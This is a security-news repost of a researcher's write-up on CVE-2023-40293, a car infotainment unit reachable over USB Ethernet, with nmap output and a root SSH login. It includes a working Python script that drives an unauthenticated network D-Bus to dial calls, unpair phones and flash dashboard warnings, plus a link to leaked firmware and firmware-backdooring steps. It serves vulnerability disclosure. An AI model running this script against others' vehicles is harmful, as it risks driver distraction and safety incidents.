Security
Headlines
HeadlinesLatestCVEs

Headline

CVE-2023-40293: Dude, It’s my Car: How to develop intimacy with your car !

Harman Infotainment 20190525031613 and later allows command injection via unauthenticated RPC with a D-Bus connection object.

CVE
#vulnerability#mac#linux#git#intel#backdoor#auth#ssh#wifi

Disclaimer: Nobody should use this information for any kind of malicious activities or disrupt any vehicle other than their own. If you brick the IVI with this approach, you can claim warranty and visit the service center. However, if they find that it was tampered with, you probably won’t get any replacement. As there is no active tamper detection in this IVI, you might be able to get past that.

When I first bought my four-wheeler, I had no idea how to drive. I joined a driving class that same day to avoid any embarrassment. Surprisingly, I learned how to drive pretty quickly, in just a week. From that point on, I would take it for a spin every day on my commute to the office. While I was getting familiar with my car, the infotainment system caught my eye, and it looked pretty familiar. The next logical step was to embark on a hacking adventure.

Basic Intel:

Target Description: 4 Wheeler ICE Vehicle with Advanced(Not So Much) Infotainment

Initial Reconnaissance:

  1. Key-Fob Based Entry – Replay & Relay Attacks
  2. OBD-II Port – Diagnostics(UDS) & CAN Write
  3. Infotainment
  4. Mobile App or OEM App

This vehicle does not have any internet connectivity so does not support a Telematics or Mobile Application to track any modern functionalities.

Our Objectives:

  1. Unlock the vehicle using RF/Key-Fob/PEPS Attacks
  2. Re-Program ECU’s over UDS
  3. Modify or Hack into the Infotainment

Due to lack of hardware Objectives 1 & 2 will be taken up at a later time.

IVI: Target Description

Features:

  1. Software Update Via USB
  2. Bluetooth for Telephony (Calling & Media Streaming)

NOTE: All the below research was done as a blind (Complete Black Box) – I did not have any access to any debugging functionality on the vehicle or the IVI.

First Blood: Trying some luck

I just wanted to check if the USB port can double as a Network Interface(Xn) – I had a bunch of USB-To-Ethernet Dongle one was from D-Link (Asix 8887 SMSC chip) and another from Logitech.

The success of the USB port doubling as a Xn depends on the RFS’ ability to recognize the interface and load the necessary driver. This is standard Linux functionality, which will autoload the driver if it detects a compatible chip. Thanks to Udev and the DTB/DTS, you don’t have to load the driver manually.

How to validate if your dongle is compatible with the on-board RFS –

a) Check if the Adapter LED’s turn-on – Green/Orange both – indicating bi-directional Broadcast Network traffic

b) Linux systems throw random(not-so-random) traffic on the Network link if it comes up which happens only if the interface is loaded that is dependent on loading the driver if it detects a correct compatible Xn.

c) If you are old enough and have played LAN games like CS – you should know this !

The next part requires us to identify and validate whether the Network communication is stable and working.

Generally, if you have a DHCP server on the target device, then client connected to it can request an IP to be in the same LAN via Client request packet(pretty standard stuff).

But I found, there is not DHCP server running as the DHCP client requests from our device were not resolving. That brings us to assigning IP addresses manually.

For private networks the IP ranges used are typically 172.16.0.0/16 or 192.168.0.0/16 – It could also be configured to any other subnets as well.

To find the exact IP of the target device – we need to resort to wireshark and try our luck. Fortunately, there is a information leakage vulnerability in the target Linux device which allows us to read the specific packet that leaks the interface IP.

This packet can be seen as below:

The Carplay functionality keeps checking if a host is available using a broadcast request that leaks the source IP. In this case it is 192.168.10.1

Now by setting our IP address to something in this same subnet will allow a point-to-point TCP/IP LAN communication.

Once that is set – we can do a bunch of scans to see which port is open – this gives us a below list of open ports.

Starting Nmap 7.80 ( https://nmap.org ) at 2023-07-17 17:47 IST
Nmap scan report for 192.168.10.1
Host is up (0.0036s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE   VERSION
22/tcp   open  ssh       Dropbear sshd 2015.68 (protocol 2.0)
2021/tcp open  servexec?
| fingerprint-strings:
|   GenericLines, NULL:
|     <GCF 000142 TS_10_0000636653>CALL BluetoothService:101 BSS_GAP_ServiceConnect address='70:22:FE:65:72:E3' instance='BlueMediaOne' device='MediaCtrl' service='A2DP_SOURCE';
|     <GCF 000127 TS_10_0000636654>EVNT MediaCtrl NAME=BSS_GAP_SERVICE_CONNECT instance='BlueMediaOne' address='70:22:FE:65:72:E3' service='A2DP_SOURCE' handle=1;
|     <GCF 000106 TS_10_0000636654>CALL MediaCtrl:556 BlueMediaOne_ServiceConnect address='70:22:FE:65:72:E3' service='A2DP_SOURCE' handle=1;
|     <GCF 000089 TS_10_0000636655>CALL BlueMediaOne:55 BSS_A2DP_Accept remoteAddr='70:22:FE:65:72:E3' localStreamRole=SINK;
|     <GCF 000205 TS_10_0000636655>RESP BlueMediaOne:55 BSS_A2DP_Accept handle=0 codecType=0 codecFeatures='' contentProtection=0 delayReporting=UNSUPPORTED output=CODED result=BSS_A2DP_ERROR reason='BSS_A2DP_REASON_NO_INCOMING_CONNECTION';
|_    <GCF 000090 TS_10_0000636656>CALL BlueMediaOne:56 BSS_A2DP_Connect rem
7000/tcp open  rtsp
| fingerprint-strings:
|   FourOhFourRequest, GetRequest:
|     HTTP/1.1 404 Not Found
|     Content-Length: 0
|     Server: AirTunes/320.17.1
|   HTTPOptions:
|     HTTP/1.1 200 OK
|     Public: ANNOUNCE, SETUP, RECORD, PAUSE, FLUSH, TEARDOWN, OPTIONS, POST, GET, PUT
|     Server: AirTunes/320.17.1
|   RTSPRequest:
|     RTSP/1.0 200 OK
|     Public: ANNOUNCE, SETUP, RECORD, PAUSE, FLUSH, TEARDOWN, OPTIONS, POST, GET, PUT
|     Server: AirTunes/320.17.1
|   SIPOptions:
|     RTSP/1.0 200 OK
|     Public: ANNOUNCE, SETUP, RECORD, PAUSE, FLUSH, TEARDOWN, OPTIONS, POST, GET, PUT
|     Server: AirTunes/320.17.1
|_    CSeq: 42 OPTIONS
|_irc-info: Unable to open connection
|_rtsp-methods: ERROR: Script execution failed (use -d to debug)
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at https://nmap.org/cgi-bin/submit.cgi?new-service :
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port2021-TCP:V=7.80%I=7%D=7/17%Time=64B53153%P=x86_64-pc-linux-gnu%r(NU
SF:LL,415,"<GCF\x20\x20000142\x20TS_10_0000636653>CALL\x20BluetoothService
SF::101\x20BSS_GAP_ServiceConnect\x20address='70:22:FE:65:72:E3'\x20instan
SF:ce='BlueMediaOne'\x20device='MediaCtrl'\x20service='A2DP_SOURCE';\r\n<G
SF:CF\x20\x20000127\x20TS_10_0000636654>EVNT\x20MediaCtrl\x20NAME=BSS_GAP_
SF:SERVICE_CONNECT\x20instance='BlueMediaOne'\x20address='70:22:FE:65:72:E
SF:3'\x20service='A2DP_SOURCE'\x20handle=1;\r\n<GCF\x20\x20000106\x20TS_10
SF:_0000636654>CALL\x20MediaCtrl:556\x20BlueMediaOne_ServiceConnect\x20add
SF:ress='70:22:FE:65:72:E3'\x20service='A2DP_SOURCE'\x20handle=1;\r\n<GCF\
SF:x20\x20000089\x20TS_10_0000636655>CALL\x20BlueMediaOne:55\x20BSS_A2DP_A
SF:ccept\x20remoteAddr='70:22:FE:65:72:E3'\x20localStreamRole=SINK;\r\n<GC
SF:F\x20\x20000205\x20TS_10_0000636655>RESP\x20BlueMediaOne:55\x20BSS_A2DP
SF:_Accept\x20handle=0\x20codecType=0\x20codecFeatures=''\x20contentProtec
SF:tion=0\x20delayReporting=UNSUPPORTED\x20output=CODED\x20result=BSS_A2DP
SF:_ERROR\x20reason='BSS_A2DP_REASON_NO_INCOMING_CONNECTION';\r\n<GCF\x20\
SF:x20000090\x20TS_10_0000636656>CALL\x20BlueMediaOne:56\x20BSS_A2DP_Conne
SF:ct\x20rem")%r(GenericLines,1678,"<GCF\x20\x20000142\x20TS_10_0000636653
SF:>CALL\x20BluetoothService:101\x20BSS_GAP_ServiceConnect\x20address='70:
SF:22:FE:65:72:E3'\x20instance='BlueMediaOne'\x20device='MediaCtrl'\x20ser
SF:vice='A2DP_SOURCE';\r\n<GCF\x20\x20000127\x20TS_10_0000636654>EVNT\x20M
SF:ediaCtrl\x20NAME=BSS_GAP_SERVICE_CONNECT\x20instance='BlueMediaOne'\x20
SF:address='70:22:FE:65:72:E3'\x20service='A2DP_SOURCE'\x20handle=1;\r\n<G
SF:CF\x20\x20000106\x20TS_10_0000636654>CALL\x20MediaCtrl:556\x20BlueMedia
SF:One_ServiceConnect\x20address='70:22:FE:65:72:E3'\x20service='A2DP_SOUR
SF:CE'\x20handle=1;\r\n<GCF\x20\x20000089\x20TS_10_0000636655>CALL\x20Blue
SF:MediaOne:55\x20BSS_A2DP_Accept\x20remoteAddr='70:22:FE:65:72:E3'\x20loc
SF:alStreamRole=SINK;\r\n<GCF\x20\x20000205\x20TS_10_0000636655>RESP\x20Bl
SF:ueMediaOne:55\x20BSS_A2DP_Accept\x20handle=0\x20codecType=0\x20codecFea
SF:tures=''\x20contentProtection=0\x20delayReporting=UNSUPPORTED\x20output
SF:=CODED\x20result=BSS_A2DP_ERROR\x20reason='BSS_A2DP_REASON_NO_INCOMING_
SF:CONNECTION';\r\n<GCF\x20\x20000090\x20TS_10_0000636656>CALL\x20BlueMedi
SF:aOne:56\x20BSS_A2DP_Connect\x20rem");
==============NEXT SERVICE FINGERPRINT (SUBMIT INDIVIDUALLY)==============
SF-Port7000-TCP:V=7.80%I=7%D=7/17%Time=64B53167%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,48,"HTTP/1\.1\x20404\x20Not\x20Found\r\nContent-Length:\x200\r
SF:\nServer:\x20AirTunes/320\.17\.1\r\n\r\n")%r(HTTPOptions,80,"HTTP/1\.1\
SF:x20200\x20OK\r\nPublic:\x20ANNOUNCE,\x20SETUP,\x20RECORD,\x20PAUSE,\x20
SF:FLUSH,\x20TEARDOWN,\x20OPTIONS,\x20POST,\x20GET,\x20PUT\r\nServer:\x20A
SF:irTunes/320\.17\.1\r\n\r\n")%r(RTSPRequest,80,"RTSP/1\.0\x20200\x20OK\r
SF:\nPublic:\x20ANNOUNCE,\x20SETUP,\x20RECORD,\x20PAUSE,\x20FLUSH,\x20TEAR
SF:DOWN,\x20OPTIONS,\x20POST,\x20GET,\x20PUT\r\nServer:\x20AirTunes/320\.1
SF:7\.1\r\n\r\n")%r(FourOhFourRequest,48,"HTTP/1\.1\x20404\x20Not\x20Found
SF:\r\nContent-Length:\x200\r\nServer:\x20AirTunes/320\.17\.1\r\n\r\n")%r(
SF:SIPOptions,92,"RTSP/1\.0\x20200\x20OK\r\nPublic:\x20ANNOUNCE,\x20SETUP,
SF:\x20RECORD,\x20PAUSE,\x20FLUSH,\x20TEARDOWN,\x20OPTIONS,\x20POST,\x20GE
SF:T,\x20PUT\r\nServer:\x20AirTunes/320\.17\.1\r\nCSeq:\x2042\x20OPTIONS\r
SF:\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

55556/tcp open  unknown

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 71.51 seconds

Astounding observations:

  1. ssh is enabled with dropbear version – Dropbear sshd 2015.68 (protocol 2.0) – for which there are a bunch of vulnerabilities with exploit PoC’s available
  2. 2021 is some kind of Diagnostics or Service port which allow some custom framework commands to be sent – will revisit this later.
  3. 7000 exposes RTSP methods – but might require carplay protocol level authentication – will revisit this later.
  4. 55556 is DBUS over Network – I was stunned when I saw this as DBUS by default does is not configured with its network level service on instead it just support SYSTEM and USER bus over unix domain sockets on local interfaces but here it was reconfigured for TCP/IP level access.

Getting access over SSH:

The simplest solution is often the best solution – I just wanted to check if the dropbear had any users that can be enumerated – unfortunately this didn’t run any standard for ex: www-data which indicates that the /etc/users file might not have much entries. With experience you get a gut feeling that it might just run everything with “root” and will not care about any multi-user or user based policies implemented. So you go ahead and try to login to ssh via root user.

It prompted us with for password which of-course was not in any standard wordlists.

Had to use a lot of OSInt for this activity – Generally what happens is when Tier I suppliers design there systems, they give internal project names to there platforms for a given vehicle. Our strategy here was to see if such internal project name was visible over the internet.

Note: Cannot divulge more details on how the project name was identified.

Mistake no. 1: This vendor used internal project name as root password and it worked !!

Mistake no. 2: Did not enable rate limiting over ssh

Mistake no. 3: Did not disable root login with password

Fluke 1: Internal project name used as root password

Once in with root access as below:

We can do a bunch of things as follows:

  • DoS on the Infotainment via root access over USB – Sending tons of TCP packets –

As seen below –

  • Reboot of the IVI – Simple Reboot – Just to annoy

As the device has no internet connectivity or WiFi this same exploit can’t be tried with same success. Or can it ?

A Game of Versions:

The above SSH Based exploits were possible for a certain version ex: 20190525031613 – After the newer version of the IVI via Software Update using USB – we no longer could login via root as the vendor must have installed a strong password which isn’t really findable – and I dint’ wanted to challenge the cryptography here.

However, there is an alternative way to cracking the newer version.

Getting Cozy with DBus –

Note: This works for the newer and older versions as well as the overall security not thought at for this device.

But Before that – Lets look at another interesting stuff over the same USB-to-Ethernet connection but not via root access but via DBUS.I just wanted to do a d-feet to run introspection on DBUS wheel – and connect as below:

DBUS connect command over Network is – This is pretty icky

tcp:host=192.168.10.1,port=55556

Just to give a brief – A very familiar hack to all of us from 2015 on the Jeep Cherokee had the same DBUS interface available Listening on all interfaces on the network. Pretty sad it still exists in this device after 8+ Years \m/

Once you get the DBUS connection object – you can explore a bunch of RPC procedures that might allow you to do Command Injection or utilise all the functionality of the IVI as it is available in the system.

Below is a snippet from the DBUS connection:

After a lot of reverse engineering on the DBUS RPC methods – We were able to decode and execute almost any functionality that the IVI support and can trigger this via our USB-To-Ethernet Connection.

Reverse Engineering Findings for Supported RPC over DBUS to name a few:

  1. connection_manager_interface – Allows to talk to the networking aspects of the IVI
  2. call_manager_interface – Talks to the telephony stack
  3. display_controller_interface – Talks to the HMI controller layer
  4. vehicle_features_interface – Simple Vehicle level interfacing for DBUS clients

To talk to these endpoint you can find the python library that can talk to the RPC methods – https://dbus.freedesktop.org/doc/dbus-python/

Using this library we wrote a simple script to trigger various functionalities – The trivial code is available below:

import dbus
import os
from pprint import pprint
import time
import random

# Setting up the subnet so that both the infotainment and the system are on the same subnet
os.system("sudo ifconfig eno1 192.168.10.20 netmask 255.255.255.0")
bus=dbus.bus.BusConnection("tcp:host=192.168.10.1,port=55556")

# Initalizing the program objects
connection_manager_obj = bus.get_object("com.oem.btpres.CallManager_btpres.callManager","/btpres/connectionManager")
call_manager_obj = bus.get_object("com.oem.btpres.CallManager_btpres.callManager","/btpres/callManager")
display_controller_obj = bus.get_object("com.oem.DisplayController.DisplayControl_DisplayController.dcInst","/DisplayController/dcInst")
vehicle_features_obj = bus.get_object("com.oem.VehicleFeatures.VehicleFeatures_VehicleFeatures.inst0","/VehicleFeatures/inst0")

# Initalizing interfaces
connection_manager_interface = dbus.Interface(connection_manager_obj,"com.oem.btpres.ConnectionManager")
call_manager_interface = dbus.Interface(call_manager_obj, "com.oem.btpres.CallManager")
display_controller_interface = dbus.Interface(display_controller_obj, "com.oem.DisplayController.DisplayControl")
vehicle_features_interface = dbus.Interface(vehicle_features_obj,"com.oem.VehicleFeatures.VehicleFeatures")

# Intializing method calls from interfaces created
# Syntax = m_methodcall()
m_deleteAllDevices = connection_manager_interface.get_dbus_method("deleteAllDevices")
m_getDevListAttribute = connection_manager_interface.get_dbus_method("getDevListAttribute")
m_renameBondedDevice = call_manager_interface.get_dbus_method("renameBondedDevice")
m_getInterfaceVersion = call_manager_interface.get_dbus_method("getInterfaceVersion")
m_dial = call_manager_interface.get_dbus_method("dial")
m_endAllCalls = call_manager_interface.get_dbus_method("endAllCalls")
m_BacklightControl = display_controller_interface.get_dbus_method("BacklightControl")
m_setDoorAjarWarningNoticeAttribute = vehicle_features_interface.get_dbus_method("setDoorAjarWarningNoticeAttribute")
m_setDriverBeltWarningNoticeAttribute = vehicle_features_interface.get_dbus_method("setDriverBeltWarningNoticeAttribute")
m_setLowBatteryWarningNoticeAttribute = vehicle_features_interface.get_dbus_method("setLowBatteryWarningNoticeAttribute")
m_setLowFuelWarningNoticeAttribute = vehicle_features_interface.get_dbus_method("setLowFuelWarningNoticeAttribute")
m_setParkingBrakeWarningNoticeAttribute = vehicle_features_interface.get_dbus_method("setParkingBrakeWarningNoticeAttribute")

list_of_toggle_functions = [m_setDoorAjarWarningNoticeAttribute,m_setParkingBrakeWarningNoticeAttribute,m_setLowFuelWarningNoticeAttribute,m_setLowBatteryWarningNoticeAttribute,m_setDriverBeltWarningNoticeAttribute]

device_name_to_bdaddr_mapping = {}
connected_device_details = m_getDevListAttribute()
for connected_device in connected_device_details:
    device_name_to_bdaddr_mapping[str(connected_device[0])] = str(connected_device[1])

device_name = next(iter(device_name_to_bdaddr_mapping))
device_bdaddr = device_name_to_bdaddr_mapping[device_name]
print("List of Paired Devices are:")
pprint(device_name_to_bdaddr_mapping) 
print()

# Menu driven code with available hacks         
while True:
    choice = input("1.Dial a random number\n2.End Calls\n3.Remove All Paired Devices\n4.Rename paired device\n5.Make it a Blinky\n6.Exit\n")
    if choice == "1":
        print("Please enter the number you wish to dial:")
        number = input()
        res = m_dial(device_bdaddr,number,"","",0)
        if "7" in str(res):
            print("This device is not connected to the bluetooth")
    elif choice == "2":
        res = m_endAllCalls(device_bdaddr)
        print(res)

    elif choice == "3":
        m_deleteAllDevices()
        print("All devices are now unpaired.")

    elif choice == "4":
        new_name = input("Enter the new name: ")
        m_renameBondedDevice(device_bdaddr,new_name)
    
    elif choice == "5":
        # Toggles the warnings and backlight setting to make it look like its blinking.
        for i in range(30):
            res = m_BacklightControl(0)
            time.sleep(1)
            res = m_BacklightControl(1)
            time.sleep(1)
            x = list_of_toggle_functions[i%len(list_of_toggle_functions)]
            x(1)
            time.sleep(1.5)
            x(0)
            time.sleep(1)

    elif choice == "6":
        print("Exiting ...")
        break
    else:
        print("Invalid option")

The fun of this exploit can be seen below:

If this happens while someone is driving then it might cause driving distraction that could lead to more safety issues.

Now to explore this new version we did some Open Source Reconn.

Enter the world of “Backdooring”

Ideally for back-dooring there are various ways:

  • Get your hands on existing firmware
  • Finding re-flashing process
  • Bypass any firmware validation
  • Run your own code from the new firmware by modifying RFS content

Sounds simple right ? Not so much

Getting dirty with Firmware: (The below information is possible because of contextual and business knowledge that I have gained over the years)

Infotainment Flashing packages or TCFG or Images are not freely distributable by the vendors unlike router or IOT device firmware due to competitor problem or other issues related to IP.

However, there is a thing called aftermarket-market where people provide services like vehicle re-tuning to mods to your vehicle. One of the aspects of this market is to upgrade stuff in vehicle including infotainment. Now for a customer who has lost warranty to his Car might want to upgrade the IVI for not so much money via official dealership instead he goes to the aftermarket party where they will happily upgrade it for less than 10$.

Question : How did the aftermarket guys get there hands on the flashing package ?

Well the short answer is from the official service centre for these vehicles – how ? – someone from aftermarket knows a guy who knows a guy at the service centre – a deal is struck to exchange any new firmware that might come for any of the vehicles and such is the tradecraft here.

This IVI is a pretty lame device and its RFS/SQFS image is rampantly available on the internet via aftermarket youtube videos – Once such Link is here – https://mega.nz/folder/GnA3UIQa – This is the newer version which doesn’t allow our ssh stuff to work. But will get to how to crack that soon.

The unsquashed package as below:

Previous version RFS that we copied over SSH access –

Also the unpacked ubifs RFS extracted image for the new sqfs with hardened root password as below:

Of-course the new version is here –

Now if you know how a bit about backdooring – then its pretty straight forward to modify the contents of the RFS and inject your own code and its pretty much game over.

To be continued……

CVE: Latest News

CVE-2023-50976: Transactions API Authorization by oleiman · Pull Request #14969 · redpanda-data/redpanda
CVE-2023-6905
CVE-2023-6903
CVE-2023-6904
CVE-2023-3907